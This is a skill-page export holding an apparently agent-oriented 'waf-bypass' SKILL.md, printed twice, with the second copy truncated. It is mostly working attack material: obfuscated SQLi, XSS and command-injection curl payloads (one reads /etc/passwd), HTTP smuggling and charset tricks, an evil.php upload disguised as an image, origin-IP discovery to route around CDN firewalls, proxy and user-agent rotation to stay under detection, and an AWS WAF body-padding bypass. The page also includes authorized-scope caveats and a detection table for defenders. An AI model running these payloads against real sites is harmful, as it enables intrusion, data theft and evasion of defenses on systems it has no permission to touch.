[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M798A0PN1AKANAE2EB1HV0Y3":3,"skill-same:01M798A0PN1AKANAE2EB1HV0Y3":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M798A0PN1AKANAE2EB1HV0Y3","waf-bypass",null,"WAF evasion — payload obfuscation, HTTP-level evasion, origin-IP discovery, rate\u002Fanomaly evasion, per-WAF notes (Cloudflare\u002FAkamai\u002FAWS WAF\u002FModSecurity).","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fwaf-bypass\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: waf-bypass\ndescription: \"WAF evasion — payload obfuscation, HTTP-level evasion, origin-IP discovery, rate\u002Fanomaly evasion, per-WAF notes (Cloudflare\u002FAkamai\u002FAWS WAF\u002FModSecurity).\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: execution\n  when_to_use: \"WAF bypass, WAF evasion, Cloudflare bypass, Akamai bypass, AWS WAF bypass, ModSecurity bypass, payload obfuscation, origin IP discovery, chunked bypass, content-type bypass\"\n  tags: waf-bypass, evasion, cloudflare, akamai, aws-waf, modsecurity, opsec\n  mitre_attack: T1027\n---\n\n# WAF Bypass \u002F Evasion\n\nA WAF is a signature + score engine in front of the origin. Bypass goals: (a) deliver a payload the rule set does not match, (b) reach the origin directly so the WAF is out of band, or (c) keep request rate \u002F anomaly score under thresholds while exfiltrating. OPSEC: this skill is for authorized scope. Stay within rate limits the program allows; never test live customer flows; mark traffic with a researcher header where the program asks for it (`X-Bug-Bounty: \u003CHANDLE>`).\n\n## 1. Recon first — fingerprint the WAF\n\nSee `skills\u002Fstandard\u002Frecon\u002Fweb-recon\u002Fwaf-detection\u002FSKILL.md`. Without a fingerprint you are guessing. Quick:\n\n```bash\nwafw00f -a \"https:\u002F\u002F\u003CTARGET>\"\ncurl -sI \"https:\u002F\u002F\u003CTARGET>\u002F?id=1' OR '1'='1\" | grep -iE 'server|cf-ray|x-amzn|akamai|x-sucuri|x-cdn|set-cookie'\nnuclei -u \"https:\u002F\u002F\u003CTARGET>\" -t http\u002Ftechnologies\u002Fwaf-detect.yaml\n```\n\nNote the **stack**: WAF vendor, CDN, origin web server, application framework. Each layer has its own parser — bypasses live in the gaps.\n\n## 2. Payload obfuscation\n\n| Layer | Technique | Example |\n|---|---|---|\n| Case | Mixed case on keywords (most modern WAFs are case-insensitive — try anyway) | `SeLeCt`, `uNiOn` |\n| Whitespace | Tab, FF, CR, LF, `\u002F**\u002F`, `+`, `%a0`, `%0b`, `%0c` between tokens | `UNION\u002F**\u002FSELECT`, `UNION%a0SELECT` |\n| Comments | Inline SQL comments split keywords | `UN\u002F**\u002FION`, `SEL\u002F*!50000*\u002FECT` (MySQL versioned) |\n| Encoding | URL-encode, double-URL-encode, unicode, HTML entity, base64 | `%2527`, `%u0027`, `&#39;`, `\\x27`, `\\u0027` |\n| Mixed encoding | Encode only the bytes the rule looks for | `'%20OR%201=1--` → `%27 OR 1%3D1--` |\n| Alternate syntax (SQL) | `UNION`-less extraction via boolean\u002Fblind, `||` concat, JSON path, `CAST`\u002F`CONVERT` chains | `' OR ASCII(SUBSTR(...))>0--` |\n| Alternate syntax (XSS) | Tagless \u002F event-less \u002F template \u002F SVG \u002F MathML | `\u003Csvg\u002Fonload=alert(1)>`, `\u003Cdetails\u002Fopen\u002Fontoggle=alert(1)>`, `\u003Cstyle>@import\"\u002F\u002Fx\"\u003C\u002Fstyle>` |\n| String concat | Break signatures into pieces | `'+'al'+'ert'+'(1)+'`, `concat(0x61,0x64,0x6d,0x69,0x6e)` |\n| Backtick \u002F quote variants | `` `select` ``, `\"select\"`, `[select]` (MSSQL), `N'admin'` | |\n| Null bytes | `%00` early-terminates many string ops in C-backed parsers | `admin%00.png` |\n| Charset | Submit body in unusual charset; WAF inspects as UTF-8 but app decodes UTF-16 | `Content-Type: ...; charset=utf-16le` |\n| Path normalization | `..;\u002F`, `..%2f`, `..%252f`, `;\u002F`, `\u002F\u002F` between segments | `\u002Fadmin..;\u002Fusers` |\n\n```bash\n# SQLi rule bypass — split UNION SELECT\nPAYLOAD=\"-1'\u002F*!50000UnIoN*\u002F(\u002F*!50000SeLeCt*\u002F(group_concat(table_name))FROM(information_schema.tables))-- -\"\ncurl -sk -G \"https:\u002F\u002F\u003CTARGET>\u002Fsearch\" --data-urlencode \"q=$PAYLOAD\"\n\n# XSS rule bypass — no parens, no \"alert\"\ncurl -sk -G \"https:\u002F\u002F\u003CTARGET>\u002Fecho\" --data-urlencode 'q=\u003Csvg\u002Fonload=eval(name)>'\n\n# Cmd-injection rule bypass — IFS for spaces, brace expansion, $@\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fping?host=127.0.0.1\\${IFS}\\$@cat\\${IFS}\u002Fetc\u002Fpasswd\"\n```\n\n## 3. HTTP-level evasion\n\nBypasses that exploit parser differences between WAF and origin.\n\n```bash\n# 3.1 Chunked transfer — WAF disables inspection on chunked bodies (still common)\ncurl -sk -X POST \"https:\u002F\u002F\u003CTARGET>\u002Flogin\" \\\n  -H 'Transfer-Encoding: chunked' -H 'Content-Type: application\u002Fx-www-form-urlencoded' \\\n  --data-binary $'1d\\r\\nusername=admin\\'+OR+1=1--\\r\\n0\\r\\n\\r\\n'\n\n# 3.2 Content-Type confusion — WAF parses as form, app parses as JSON (or vice versa)\ncurl -sk -X POST \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Flogin\" \\\n  -H 'Content-Type: text\u002Fplain' \\\n  --data '{\"user\":\"admin\\\" OR 1=1--\",\"pass\":\"x\"}'\n\n# 3.3 Multipart smuggling — payload hidden in a part the WAF does not inspect\ncurl -sk -X POST \"https:\u002F\u002F\u003CTARGET>\u002Fupload\" \\\n  -F 'file=@evil.php;type=image\u002Fpng' \\\n  -F 'meta={\"role\":\"admin\"};type=application\u002Fjson'\n\n# 3.4 charset= trick (UTF-7, UTF-16, IBM037)\ncurl -sk -X POST \"https:\u002F\u002F\u003CTARGET>\u002Fapi\" \\\n  -H 'Content-Type: application\u002Fjson; charset=ibm037' \\\n  --data-binary @ibm037-payload.bin\n\n# 3.5 Host-header \u002F SNI mismatch (origin trusts internal Host, WAF inspects external)\ncurl -sk --resolve \"internal-admin:443:$ORIGIN_IP\" \\\n  -H 'Host: internal-admin' \"https:\u002F\u002Finternal-admin\u002Fadmin\"\n\n# 3.6 HTTP\u002F2 → HTTP\u002F1 downgrade smuggling (paired with smuggling skill)\n# See skills\u002Fstandard\u002Fexploit\u002Fweb\u002Fsmuggling\u002FSKILL.md\n\n# 3.7 Pseudo-header injection in HTTP\u002F2 (h2c upgrade, :path tricks)\ncurl -sk --http2-prior-knowledge \"https:\u002F\u002F\u003CTARGET>\u002F\" \\\n  -H ':path: \u002Fadmin\u002F..\u002Fpublic' -i\n\n# 3.8 Param pollution — WAF inspects first, app reads last (or concat)\n# See skills\u002Fstandard\u002Fexploit\u002Fweb\u002Fhpp\u002FSKILL.md\n```\n\n## 4. Origin-IP discovery — bypass the WAF entirely\n\nIf the WAF sits on a CDN edge (Cloudflare, Akamai, Sucuri, Imperva), reaching the origin IP directly with the right `Host` header takes the WAF out of band.\n\n```bash\n# 4.1 Historic DNS \u002F certificate transparency\ncurl -s \"https:\u002F\u002Fcrt.sh\u002F?q=%25.\u003CTARGET>&output=json\" | jq -r '.[].name_value' | sort -u\n# Pre-CDN A records often still resolve in passive DNS sources:\n#   securitytrails \u002F shodan \u002F censys \u002F dnsdumpster \u002F viewdns\nshodan search \"ssl.cert.subject.cn:\u003CTARGET>\"   # finds origin certs presenting CN behind CDN\nshodan search \"http.title:'\u003CTARGET>' -org:'Cloudflare,Akamai,Fastly'\"\ncensys search 'services.tls.certificates.leaf_data.subject.common_name: \"\u003CTARGET>\"' \\\n  --fields services.ip\n\n# 4.2 Subdomain bleed — dev\u002Fstaging\u002Fmail\u002Fcpanel rarely fronted by CDN\nsubfinder -d \u003CTARGET> -silent | dnsx -resp-only | sort -u\n# Look for non-CDN A records (not in Cloudflare\u002FAkamai\u002FFastly ASNs)\nmapcidr -cl - \u003C ips.txt | asnmap | grep -viE 'cloudflare|akamai|fastly|imperva|incapsula|sucuri'\n\n# 4.3 SSRF \u002F open redirect \u002F webhook outbound from target\n#   - any target-side fetcher that calls back to attacker leaks origin IP in TCP src\n\n# 4.4 Misconfigured mail (DMARC\u002FSPF\u002FMX) reveals origin mailer IP\ndig +short MX \u003CTARGET>\ndig +short TXT \u003CTARGET>\n\n# 4.5 Validate candidate origin\ncurl -sk --resolve \"\u003CTARGET>:443:$ORIGIN_IP\" \"https:\u002F\u002F\u003CTARGET>\u002F\" -o origin.html -w '%{http_code}\\n'\ndiff \u003C(curl -sk \"https:\u002F\u002F\u003CTARGET>\u002F\" | md5sum) \u003C(md5sum \u003C origin.html)\n# Same hash + no WAF headers = origin reached.\n```\n\nOnce on the origin, the WAF is **gone**. All bypasses in section 2 are unnecessary.\n\n## 5. Rate \u002F anomaly evasion\n\nWAFs aggregate score per IP \u002F session \u002F fingerprint and throttle when thresholds trip.\n\n| Technique | Notes |\n|---|---|\n| Rotate egress IPs | Proxychains, residential proxies, AWS Lambda fan-out (within scope rules). |\n| Distribute over time | Jitter, exponential backoff, randomized intervals. |\n| Rotate user-agent \u002F Accept-Language \u002F TLS JA3 | curl's `--ja3` (curl-impersonate), or `httpx -random-agent`. |\n| Avoid signature noise | Don't send `sqlmap\u002F1.x` UA. Don't send 200 payloads\u002Fsec. |\n| Login-warmed sessions | Authenticated session has its own bucket; one valid request per N payloads keeps anomaly score low. |\n| Slow blind injection | Time-based blind SQLi with 0.5s deltas instead of 10s. |\n| Token-bucket-aware probing | Detect 429 → back off until rate limit resets. |\n\n```bash\n# Distributed slow scan with jitter\nshuf payloads.txt | while read p; do\n  curl -sk -G \"https:\u002F\u002F\u003CTARGET>\u002Fsearch\" --data-urlencode \"q=$p\" \\\n    -H \"User-Agent: $(shuf -n1 uas.txt)\" -x \"$(shuf -n1 proxies.txt)\" -o \u002Fdev\u002Fnull \\\n    -w 'q=%{url_effective}  code=%{http_code}\\n'\n  sleep \"$(awk 'BEGIN{srand(); print 2+rand()*6}')\"\ndone\n```\n\n## 6. Per-WAF notes\n\n### Cloudflare\n- Managed Ruleset is signature + ML; payload-obfuscation (sec 2) works well.\n- Bot Fight \u002F Super Bot Fight Mode JA3-fingerprints curl\u002Fpython — use **curl-impersonate** (`curl_chrome116`) or `requests` via `httpx[http2]` with realistic JA3.\n- `cdn-cgi\u002Ftrace` confirms you're hitting Cloudflare; absence on a target subdomain often means origin reachable directly.\n- Workers \u002F Pages have weaker default rules than the main reverse proxy.\n- 0.0.0.0\u002F8 or unusual `X-Forwarded-For` is ignored by CF but sometimes trusted at origin → header-trust pivots.\n\n### Akamai (Kona \u002F App & API Protector)\n- ABCK\u002Fsensor cookie expected; missing or invalid → 403. Generate with a real browser or sensor-data generators (within scope).\n- AcceptedKeyLength + JA3 fingerprinting.\n- `Pragma: akamai-x-cache-on, akamai-x-get-extracted-values` reveals edge variables on test envs.\n- Common bypass: subdomain not yet onboarded (no Property activated) → no WAF.\n\n### AWS WAF\n- Rule-group based (AWSManagedRulesCommonRuleSet, SQLi, XSS). Each rule has a fixed inspection budget (~8 KB body, ~64 KB on newer plans). Oversize bodies are **skipped** by default — payload after the inspection limit is unfiltered.\n- Inspection cap bypass: pad request body with junk to exceed the inspection limit, place payload after the cap.\n- Region scoping — endpoints in non-WAF regions \u002F shadow API gateways often lack the rule.\n\n```bash\n# AWS WAF body-cap bypass — pad with 9 KB of A's, then payload\n( python3 -c 'print(\"A\"*9000, end=\"\")'; printf '&q=%s' \"' UNION SELECT user,password FROM users--\" ) \\\n  | curl -sk -X POST \"https:\u002F\u002F\u003CTARGET>\u002Fsearch\" \\\n      -H 'Content-Type: application\u002Fx-www-form-urlencoded' --data-binary @-\n```\n\n### ModSecurity + OWASP CRS\n- Anomaly-scoring (Paranoia Level 1–4). PL1 is bypassed by almost all sec-2 tricks.\n- CRS rules are public — read the rule that fires and craft around it. `SecRuleEngine DetectionOnly` is common in early deployments.\n- Charset \u002F Content-Type confusion is highly effective historically.\n- JSON body inspection requires the JSON parser to be enabled — many deployments forget.\n\n### Imperva \u002F Incapsula\n- `incap_ses_*` cookie required; bots without it 403.\n- Has its own rate-limit on `Reputation` score — high-noise scans trip it fast.\n- Bypass focus: origin discovery (sec 4) often easier than payload obfuscation.\n\n### Sucuri\n- Lightweight, signature-heavy. Sec-2 encoding tricks bypass the bulk of rules.\n- `X-Sucuri-Cache` header confirms presence.\n\n## 7. Tools\n\n- **wafw00f**, **whatwaf** — vendor identification.\n- **nuclei** `http\u002Fmisconfiguration\u002F`, `http\u002Fcves\u002F` with `-rate-limit` low.\n- **bypass-firewalls-by-DNS-history** — automates sec 4.1.\n- **CloudFlair** — Cloudflare origin discovery via Censys.\n- **curl-impersonate** \u002F **tlsx** — JA3\u002FJA4 rotation.\n- **Burp** with **Bypass WAF**, **HTTP Smuggler**, **Param Miner**, **Hackvertor** extensions.\n- **sqlmap** `--tamper=between,space2comment,space2randomblank,charunicodeencode,...` (chain tamper scripts per WAF).\n- **ffuf** `-H` rotation, `-p` per-request delay, `-rate` cap.\n\n## 8. Detection signatures (defenders)\n\n| Signal | Source |\n|---|---|\n| `Transfer-Encoding: chunked` on small bodies from unauthenticated IPs | WAF \u002F proxy logs |\n| Body charset = `ibm037`, `utf-16`, `utf-7` on public endpoints | content-type analytics |\n| Request body > inspection cap on AWS WAF + trailing suspicious params | CloudWatch + WAF logs |\n| Sustained low-rate requests from rotating IPs hitting parameterized URLs | rate-limit \u002F WAF analytics |\n| Direct hits to origin IP bypassing CDN | origin firewall logs (only CDN IPs should reach origin) |\n| `Host` header mismatch vs SNI | TLS \u002F app logs |\n| `X-HTTP-Method-Override` paired with payload-like params | WAF custom rule |\n\nRemediation: lock origin firewall to CDN egress ranges only; enable strict-charset \u002F strict-content-type at the edge; raise inspection cap or block oversized unauthenticated bodies; ratchet ModSecurity to PL2+; rotate origin IP after CDN onboarding; enforce JA3\u002FJA4 allowlists where business permits.\n\n## 9. Decision gate\n\n| Observation | Action |\n|---|---|\n| WAF identified, payload blocked, no origin IP yet | Section 2 obfuscation → section 3 HTTP-level → only then chase origin |\n| Origin IP candidate, response identical to CDN-fronted | Confirm with TLS cert + body hash, then re-run all chained skills directly against origin |\n| All sec-2\u002Fsec-3 attempts blocked, no origin | Pivot — try a different endpoint, subdomain (often un-onboarded), or chain through SSRF\u002Fopen-redirect from another target asset |\n| Rate-limit \u002F anomaly score throttling | Back off, lower QPS, rotate fingerprint, prefer authenticated session |\n| Program forbids WAF bypass research | Stop; report WAF presence + suspected gap to the program without exploitation |\n\n## Cross-references\n\n- WAF fingerprint recon: `skills\u002Fstandard\u002Frecon\u002Fweb-recon\u002Fwaf-detection\u002FSKILL.md`\n- HTTP smuggling (paired parser-discrepancy bypass): `skills\u002Fstandard\u002Fexploit\u002Fweb\u002Fsmuggling\u002FSKILL.md`\n- HTTP Parameter Pollution: `skills\u002Fstandard\u002Fexploit\u002Fweb\u002Fhpp\u002FSKILL.md`\n- Verb tampering (rule sets keyed on GET\u002FPOST only): `skills\u002Fstandard\u002Fexploit\u002Fweb\u002Fverb-tampering\u002FSKILL.md`\n- SQLi tamper \u002F blind: `skills\u002Fstandard\u002Fexploit\u002Fweb\u002Fsqli\u002FSKILL.md`\n- Subdomain takeover (origin pivot via trusted subdomain): `skills\u002Fstandard\u002Frecon\u002Fweb-recon\u002Fsubdomain-takeover\u002FSKILL.md`\n","# WAF Bypass \u002F Evasion\n\nA WAF is a signature + score engine in front of the origin. Bypass goals: (a) deliver a payload the rule set does not match, (b) reach the origin directly so the WAF is out of band, or (c) keep request rate \u002F anomaly score under thresholds while exfiltrating. OPSEC: this skill is for authorized scope. Stay within rate limits the program allows; never test live customer flows; mark traffic with a researcher header where the program asks for it (`X-Bug-Bounty: \u003CHANDLE>`).\n\n## 1. Recon first — fingerprint the WAF\n\nSee `skills\u002Fstandard\u002Frecon\u002Fweb-recon\u002Fwaf-detection\u002FSKILL.md`. Without a fingerprint you are guessing. Quick:\n\n```bash\nwafw00f -a \"https:\u002F\u002F\u003CTARGET>\"\ncurl -sI \"https:\u002F\u002F\u003CTARGET>\u002F?id=1' OR '1'='1\" | grep -iE 'server|cf-ray|x-amzn|akamai|x-sucuri|x-cdn|set-cookie'\nnuclei -u \"https:\u002F\u002F\u003CTARGET>\" -t http\u002Ftechnologies\u002Fwaf-detect.yaml\n```\n\nNote the **stack**: WAF vendor, CDN, origin web server, application framework. Each layer has its own parser — bypasses live in the gaps.\n\n## 2. Payload obfuscation\n\n| Layer | Technique | Example |\n|---|---|---|\n| Case | Mixed case on keywords (most modern WAFs are case-insensitive — try anyway) | `SeLeCt`, `uNiOn` |\n| Whitespace | Tab, FF, CR, LF, `\u002F**\u002F`, `+`, `%a0`, `%0b`, `%0c` between tokens | `UNION\u002F**\u002FSELECT`, `UNION%a0SELECT` |\n| Comments | Inline SQL comments split keywords | `UN\u002F**\u002FION`, `SEL\u002F*!50000*\u002FECT` (MySQL versioned) |\n| Encoding | URL-encode, double-URL-encode, unicode, HTML entity, base64 | `%2527`, `%u0027`, `&#39;`, `\\x27`, `\\u0027` |\n| Mixed encoding | Encode only the bytes the rule looks for | `'%20OR%201=1--` → `%27 OR 1%3D1--` |\n| Alternate syntax (SQL) | `UNION`-less extraction via boolean\u002Fblind, `||` concat, JSON path, `CAST`\u002F`CONVERT` chains | `' OR ASCII(SUBSTR(...))>0--` |\n| Alternate syntax (XSS) | Tagless \u002F event-less \u002F template \u002F SVG \u002F MathML | `\u003Csvg\u002Fonload=alert(1)>`, `\u003Cdetails\u002Fopen\u002Fontoggle=alert(1)>`, `\u003Cstyle>@import\"\u002F\u002Fx\"\u003C\u002Fstyle>` |\n| String concat | Break signatures into pieces | `'+'al'+'ert'+'(1)+'`, `concat(0x61,0x64,0x6d,0x69,0x6e)` |\n| Backtick \u002F quote variants | `` `select` ``, `\"select\"`, `[select]` (MSSQL), `N'admin'` | |\n| Null bytes | `%00` early-terminates many string ops in C-backed parsers | `admin%00.png` |\n| Charset | Submit body in unusual charset; WAF inspects as UTF-8 but app decodes UTF-16 | `Content-Type: ...; charset=utf-16le` |\n| Path normalization | `..;\u002F`, `..%2f`, `..%252f`, `;\u002F`, `\u002F\u002F` between segments | `\u002Fadmin..;\u002Fusers` |\n\n```bash\n# SQLi rule bypass — split UNION SELECT\nPAYLOAD=\"-1'\u002F*!50000UnIoN*\u002F(\u002F*!50000SeLeCt*\u002F(group_concat(table_name))FROM(information_schema.tables))-- -\"\ncurl -sk -G \"https:\u002F\u002F\u003CTARGET>\u002Fsearch\" --data-urlencode \"q=$PAYLOAD\"\n\n# XSS rule bypass — no parens, no \"alert\"\ncurl -sk -G \"https:\u002F\u002F\u003CTARGET>\u002Fecho\" --data-urlencode 'q=\u003Csvg\u002Fonload=eval(name)>'\n\n# Cmd-injection rule bypass — IFS for spaces, brace expansion, $@\ncurl -sk \"https:\u002F\u002F\u003CTARGET>\u002Fping?host=127.0.0.1\\${IFS}\\$@cat\\${IFS}\u002Fetc\u002Fpasswd\"\n```\n\n## 3. HTTP-level evasion\n\nBypasses that exploit parser differences between WAF and origin.\n\n```bash\n# 3.1 Chunked transfer — WAF disables inspection on chunked bodies (still common)\ncurl -sk -X POST \"https:\u002F\u002F\u003CTARGET>\u002Flogin\" \\\n  -H 'Transfer-Encoding: chunked' -H 'Content-Type: application\u002Fx-www-form-urlencoded' \\\n  --data-binary $'1d\\r\\nusername=admin\\'+OR+1=1--\\r\\n0\\r\\n\\r\\n'\n\n# 3.2 Content-Type confusion — WAF parses as form, app parses as JSON (or vice versa)\ncurl -sk -X POST \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Flogin\" \\\n  -H 'Content-Type: text\u002Fplain' \\\n  --data '{\"user\":\"admin\\\" OR 1=1--\",\"pass\":\"x\"}'\n\n# 3.3 Multipart smuggling — payload hidden in a part the WAF does not inspect\ncurl -sk -X POST \"https:\u002F\u002F\u003CTARGET>\u002Fupload\" \\\n  -F 'file=@evil.php;type=image\u002Fpng' \\\n  -F 'meta={\"role\":\"admin\"};type=application\u002Fjson'\n\n# 3.4 charset= trick (UTF-7, UTF-16, IBM037)\ncurl -sk -X POST \"https:\u002F\u002F\u003CTARGET>\u002Fapi\" \\\n  -H 'Content-Type: application\u002Fjson; charset=ibm037' \\\n  --data-binary @ibm037-payload.bin\n\n# 3.5 Host-header \u002F SNI mismatch (origin trusts internal Host, WAF inspects external)\ncurl -sk --resolve \"internal-admin:443:$ORIGIN_IP\" \\\n  -H 'Host: internal-admin' \"https:\u002F\u002Finternal-admin\u002Fadmin\"\n\n# 3.6 HTTP\u002F2 → HTTP\u002F1 downgrade smuggling (paired with smuggling skill)\n# See skills\u002Fstandard\u002Fexploit\u002Fweb\u002Fsmuggling\u002FSKILL.md\n\n# 3.7 Pseudo-header injection in HTTP\u002F2 (h2c upgrade, :path tricks)\ncurl -sk --http2-prior-knowledge \"https:\u002F\u002F\u003CTARGET>\u002F\" \\\n  -H ':path: \u002Fadmin\u002F..\u002Fpublic' -i\n\n# 3.8 Param pollution — WAF inspects first, app reads last (or concat)\n# See skills\u002Fstandard\u002Fexploit\u002Fweb\u002Fhpp\u002FSKILL.md\n```\n\n## 4. Origin-IP discovery — bypass the WAF entirely\n\nIf the WAF sits on a CDN edge (Cloudflare, Akamai, Sucuri, Imperva), reaching the origin IP directly with the right `Host` header takes the WAF out of band.\n\n```bash\n# 4.1 Historic DNS \u002F certificate transparency\ncurl -s \"https:\u002F\u002Fcrt.sh\u002F?q=%25.\u003CTARGET>&output=json\" | jq -r '.[].name_value' | sort -u\n# Pre-CDN A records often still resolve in passive DNS sources:\n#   securitytrails \u002F shodan \u002F censys \u002F dnsdumpster \u002F viewdns\nshodan search \"ssl.cert.subject.cn:\u003CTARGET>\"   # finds origin certs presenting CN behind CDN\nshodan search \"http.title:'\u003CTARGET>' -org:'Cloudflare,Akamai,Fastly'\"\ncensys search 'services.tls.certificates.leaf_data.subject.common_name: \"\u003CTARGET>\"' \\\n  --fields services.ip\n\n# 4.2 Subdomain bleed — dev\u002Fstaging\u002Fmail\u002Fcpanel rarely fronted by CDN\nsubfinder -d \u003CTARGET> -silent | dnsx -resp-only | sort -u\n# Look for non-CDN A records (not in Cloudflare\u002FAkamai\u002FFastly ASNs)\nmapcidr -cl - \u003C ips.txt | asnmap | grep -viE 'cloudflare|akamai|fastly|imperva|incapsula|sucuri'\n\n# 4.3 SSRF \u002F open redirect \u002F webhook outbound from target\n#   - any target-side fetcher that calls back to attacker leaks origin IP in TCP src\n\n# 4.4 Misconfigured mail (DMARC\u002FSPF\u002FMX) reveals origin mailer IP\ndig +short MX \u003CTARGET>\ndig +short TXT \u003CTARGET>\n\n# 4.5 Validate candidate origin\ncurl -sk --resolve \"\u003CTARGET>:443:$ORIGIN_IP\" \"https:\u002F\u002F\u003CTARGET>\u002F\" -o origin.html -w '%{http_code}\\n'\ndiff \u003C(curl -sk \"https:\u002F\u002F\u003CTARGET>\u002F\" | md5sum) \u003C(md5sum \u003C origin.html)\n# Same hash + no WAF headers = origin reached.\n```\n\nOnce on the origin, the WAF is **gone**. All bypasses in section 2 are unnecessary.\n\n## 5. Rate \u002F anomaly evasion\n\nWAFs aggregate score per IP \u002F session \u002F fingerprint and throttle when thresholds trip.\n\n| Technique | Notes |\n|---|---|\n| Rotate egress IPs | Proxychains, residential proxies, AWS Lambda fan-out (within scope rules). |\n| Distribute over time | Jitter, exponential backoff, randomized intervals. |\n| Rotate user-agent \u002F Accept-Language \u002F TLS JA3 | curl's `--ja3` (curl-impersonate), or `httpx -random-agent`. |\n| Avoid signature noise | Don't send `sqlmap\u002F1.x` UA. Don't send 200 payloads\u002Fsec. |\n| Login-warmed sessions | Authenticated session has its own bucket; one valid request per N payloads keeps anomaly score low. |\n| Slow blind injection | Time-based blind SQLi with 0.5s deltas instead of 10s. |\n| Token-bucket-aware probing | Detect 429 → back off until rate limit resets. |\n\n```bash\n# Distributed slow scan with jitter\nshuf payloads.txt | while read p; do\n  curl -sk -G \"https:\u002F\u002F\u003CTARGET>\u002Fsearch\" --data-urlencode \"q=$p\" \\\n    -H \"User-Agent: $(shuf -n1 uas.txt)\" -x \"$(shuf -n1 proxies.txt)\" -o \u002Fdev\u002Fnull \\\n    -w 'q=%{url_effective}  code=%{http_code}\\n'\n  sleep \"$(awk 'BEGIN{srand(); print 2+rand()*6}')\"\ndone\n```\n\n## 6. Per-WAF notes\n\n### Cloudflare\n- Managed Ruleset is signature + ML; payload-obfuscation (sec 2) works well.\n- Bot Fight \u002F Super Bot Fight Mode JA3-fingerprints curl\u002Fpython — use **curl-impersonate** (`curl_chrome116`) or `requests` via `httpx[http2]` with realistic JA3.\n- `cdn-cgi\u002Ftrace` confirms you're hitting Cloudflare; absence on a target subdomain often means origin reachable directly.\n- Workers \u002F Pages have weaker default rules than the main reverse proxy.\n- 0.0.0.0\u002F8 or unusual `X-Forwarded-For` is ignored by CF but sometimes trusted at origin → header-trust pivots.\n\n### Akamai (Kona \u002F App & API Protector)\n- ABCK\u002Fsensor cookie expected; missing or invalid → 403. Generate with a real browser or sensor-data generators (within scope).\n- AcceptedKeyLength + JA3 fingerprinting.\n- `Pragma: akamai-x-cache-on, akamai-x-get-extracted-values` reveals edge variables on test envs.\n- Common bypass: subdomain not yet onboarded (no Property activated) → no WAF.\n\n### AWS WAF\n- Rule-group based (AWSManagedRulesCommonRuleSet, SQLi, XSS). Each rule has a fixed inspection budget (~8 KB body, ~64 KB on newer plans). Oversize bodies are **skipped** by default — payload after the inspection limit is unfiltered.\n- Inspection cap bypass: pad request body with junk to exceed the inspection limit, place payload after the cap.\n- Region scoping — endpoints in non-WAF regions \u002F shadow API gateways often lack the rule.\n\n```bash\n# AWS WAF body-cap bypass — pad with 9 KB of A's, then payload\n( python3 -c 'print(\"A\"*9000, end=\"\")'; printf '&q=%s' \"' UNION SELECT user,password FROM users--\" ) \\\n  | curl -sk -X POST \"https:\u002F\u002F\u003CTARGET>\u002Fsearch\" \\\n      -H 'Content-Type: application\u002Fx-www-form-urlencoded' --data-binary @-\n```\n\n### ModSecurity + OWASP CRS\n- Anomaly-scoring (Paranoia Level 1–4). PL1 is bypassed by almost all sec-2 tricks.\n- CRS rules are public — read the rule that fires and craft around it. `SecRuleEngine DetectionOnly` is common in early deployments.\n- Charset \u002F Content-Type confusion is highly effective historically.\n- JSON body inspection requires the JSON parser to be enabled — many deployments forget.\n\n### Imperva \u002F Incapsula\n- `incap_ses_*` cookie required; bots without it 403.\n- Has its own rate-limit on `Reputation` score — high-noise scans trip it fast.\n- Bypass focus: origin discovery (sec 4) often easier than payload obfuscation.\n\n### Sucuri\n- Lightweight, signature-heavy. Sec-2 encoding tricks bypass the bulk of rules.\n- `X-Sucuri-Cache` header confirms presence.\n\n## 7. Tools\n\n- **wafw00f**, **whatwaf** — vendor identification.\n- **nuclei** `http\u002Fmisconfiguration\u002F`, `http\u002Fcves\u002F` with `-rate-limit` low.\n- **bypass-firewalls-by-DNS-history** — automates sec 4.1.\n- **CloudFlair** — Cloudflare origin discovery via Censys.\n- **curl-impersonate** \u002F **tlsx** — JA3\u002FJA4 rotation.\n- **Burp** with **Bypass WAF**, **HTTP Smuggler**, **Param Miner**, **Hackvertor** extensions.\n- **sqlmap** `--tamper=between,space2comment,space2randomblank,charunicodeencode,...` (chain tamper scripts per WAF).\n- **ffuf** `-H` rotation, `-p` per-request delay, `-rate` cap.\n\n## 8. Detection signatures (defenders)\n\n| Signal | Source |\n|---|---|\n| `Transfer-Encoding: chunked` on small bodies from unauthenticated IPs | WAF \u002F proxy logs |\n| Body charset = `ibm037`, `utf-16`, `utf-7` on public endpoints | content-type analytics |\n| Request body > inspection cap on AWS WAF + trailing suspicious params | CloudWatch + WAF logs |\n| Sustained low-rate requests from rotating IPs hitting parameterized URLs | rate-limit \u002F WAF analytics |\n| Direct hits to origin IP bypassing CDN | origin firewall logs (only CDN IPs should reach origin) |\n| `Host` header mismatch vs SNI | TLS \u002F app logs |\n| `X-HTTP-Method-Override` paired with payload-like params | WAF custom rule |\n\nRemediation: lock origin firewall to CDN egress ranges only; enable strict-charset \u002F strict-content-type at the edge; raise inspection cap or block oversized unauthenticated bodies; ratchet ModSecurity to PL2+; rotate origin IP after CDN onboarding; enforce JA3\u002FJA4 allowlists where business permits.\n\n## 9. Decision gate\n\n| Observation | Action |\n|---|---|\n| WAF identified, payload blocked, no origin 